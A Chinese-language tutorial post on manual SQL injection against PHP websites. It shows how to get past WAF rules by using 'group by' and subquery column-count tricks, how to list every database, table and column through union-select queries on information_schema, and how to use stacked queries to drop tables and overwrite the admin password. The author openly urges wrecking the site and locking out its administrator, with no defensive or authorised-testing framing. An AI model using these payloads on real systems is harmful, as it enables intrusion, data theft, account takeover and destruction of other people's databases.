时间：2021-07-01 10:21:17 帮助过：87人阅读
以 php 为例 引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码，WAF 用于拦截恶意代码，但是 WAF 很好绕过，规则是死的，人是活的。WAF 部署在服务器端，根据预先定义的规则对 http 请求进行过滤，继而拦截一些通用的必然 xss 和 sql 攻击。
以 php 为例
引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码，WAF 用于拦截恶意代码，但是 WAF 很好绕过，规则是死的，人是活的。WAF 部署在服务器端，根据预先定义的规则对 http 请求进行过滤，继而拦截一些通用的必然 xss 和 sql 攻击。
Order by 语句被拦截?
这个情况很少发生，，但是有时候 WAF 由于某些原因会拦截，不过，我们可以绕过，方法很简单，用 Group by 就可以了。因为不再 WAF 的规则列表里
比如下面这样提示 403 forbidden
?id=1 order by 100--可以尝试一下 group by
?id=1 group by 100-- 成功
但是，有可能这个还会被拦截。所以我们使用一条流传不那么广泛的一个语句。那就是
(主查询语句)=(select 1)
?id=8 and (select * from admins)=(select 1)
可能会返回一个错误，类似 Operand should contain 5 column(s).
这样我们就知道有 5 列了。
然后 union select 就懂了。。
?id=-8 union select 1,2,3,4,5--order by 10000 了仍然没有报错?
这里讲一下有时候 order by 可以用，但是到 10000 了还是不报错，与上一节不同的是，上
一节是请求被 WAF 拦截，这里呢，则是因为注入语句有点不同，当我第一次遇到的时候，
我天真的以为数据库表里真的有 10000 列。答案很简单，order by 1000000 还是不报错，是
因为我们的注入语句没有运行。
?id=9 order by 10000000000-- 不报错
我们稍微改变一下 url ，在 id 后面加一个单引号，并且在最后加一个加号。
?id=9' order by 10000000--+ 报错
然后开始使用 union 查询就行了，方法一样。
?id=-9' union select 1,2,3,4,5,6,7,8--+
从其他数据库里获取数据
有时候我们注入成功了，但是读出来的表都是些新闻啊，相册啊，文章啊，之类的，我们要
找的可是管理，登录表啊。这时候我们就需要看一下是不是还有其他的数据库。
首先获取所有的数据库名：
?id=9 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
然后获得指定数据库的表：
?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema= (这里填写数据库 hex 编码)
然后获取所有列：
?id=9 union select 1,2,group_concat(column_name),4 from information_schema.tables
where table_schema=(这里填写数据库 hex 编码) and table_name=(这里填写表名的 hex 编码)
通过 SQL 注入可以修改数据库里的信息吗?
SQL 可以查询，，更新，插入信息，所以，查询信息只是其中的一个功能，有时候无法破解
管理员帐号的 MD5 值。那么为什么不自己加一个呢..insert 插入语句就可以，如果找不到
后台，邪恶一点，干脆直接 drop 掉整个表，这样，管理员也登陆不上了。网站也坏了。还
可以通过 update 更新语句来修改管理员密码，
?id=1
假设这里存在注入。
我们通过 union 获取了一些表名，比如有个 news，那么我们通过下面这个语句删除 news
表。
?id=1; DROP TABLE news
然后网站所有的新闻内容就没了，如果要该更改管理员密码，那么这样：
?id=1; UPDATE 'admin_login' SET 'password' = '你自己的 md5' WHERE login_name='admin'--